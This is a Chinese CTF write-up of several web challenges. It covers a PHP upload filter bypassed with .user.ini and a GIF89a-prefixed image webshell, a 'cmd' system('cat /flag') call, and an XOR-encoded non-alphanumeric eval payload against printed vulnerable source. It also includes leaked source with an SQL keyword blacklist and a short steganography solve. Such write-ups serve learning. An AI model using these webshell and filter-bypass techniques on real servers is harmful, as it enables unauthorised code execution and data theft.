WEB:CheckIn
国赛华东北赛区的改题orz
0x01 开工
上传,经过测试发现共有三种回显结果
1、<? in contents!
表示 <?不能连续出现在文件中
2、illegal suffix!
表示 不能上传后缀为php、php4、php5、phtml等可直接被解析的PHP文件
3、exif_imagetype:not image
表示 判断一个图片的类型(即读取一个图像的第一个字节并 检查其签名)
exifimagetype (PHP 4 >= 4.3.0,PHP5,PHP 7) exifimagetype - 判断一个图像的类型
尝试了.htaccess
,发现不行。 找到一篇文章:
https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%9 0%E7%9A%84PHP%E5%90%8E%E9%97%A8.html?tdsourcetag=s_pctim_aiomsg
先上传一个.user.ini文件
再上传一个图片文件(图片中是木马)
.user.ini
可以会将图片马中的代码包含到每个php文件中
使用GIF89a
绕过exif_imagetype
判断 使用<script>
标签绕过对<?
的检测 最终文件内容分如下:
上传.user.ini
上传111.jpg
根据路径访问index.php并传入cmd的值:?cmd=system("cat /flag");
即可得到flag 这里传的是get型的马,直接传参读取即可,传post型需使用菜刀连接数据库找flag.
题目:
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
可用的可见字符有
! # $ % ( ) * + - / : ; < > ? @ ] ^ { }
[ISITDTU CTF 2019 EasyPHP 回顾]
(https://blog.zeddyu.info/2019/07/20/isitdtu-2019/)
找到一篇类似的题,大概就是构造类似于
(%9e%ea%9e%9e%b3%9c^%ed%b3%ed%ea%f6%d1)(%c6%9e^%aa%ed);
//(system)(ls); 本地已经能执行命令了,就是要构造总长度不大于18和出现的重复字符数不大于12
目的是构造(get_the_flag)();?
get_the_flag^get_the_flag
就究极超长了
test=$_GET{c}();&c=get_the_flag
这样的话长度还是有点超过
关键还是18位限制太恶心了,用异或去掉^();这四个只有7位payload(7*2+4)
参考https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
经过摸索,找到payload
${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=get_the_flag
接下来就是上传了,上传一个.htaccess
,然后getshell,orz具体操作可以问问ruozhi师傅。
这题比较有意思,有个非预期。
.index.php.swp
存在源码泄露,源码如下:
<?php
session_start();
include_once "config.php";
$post = array();
$get = array();
global $MysqlLink;
//GetPara();
$MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
if(!$MysqlLink){
die("Mysql Connect Error!");
}
$selectDB = mysqli_select_db($MysqlLink,$dataName);
if(!$selectDB){
die("Choose Database Error!");
}
foreach ($_POST as $k=>$v){
if(!empty($v)&&is_string($v)){
$post[$k] = trim(addslashes($v));
}
}
foreach ($_GET as $k=>$v){
}
}
//die();
?>
<html>
<head>
</head>
<body>
<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>
<?php
if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));
}
?>
非预期解:
题目打开是魔方
在js/three.min.js发现一张图片
接下来,winhex打开,发现有一串字符:U2FsdGVkX1+zHjSBeYPtWQVSwXzcVFZLu6Qm0To/KeuHg8vKAxFrVQ==
然后卡住了orz,后来被夜莫离师傅解开了,tql
用假flag作为密钥解密即可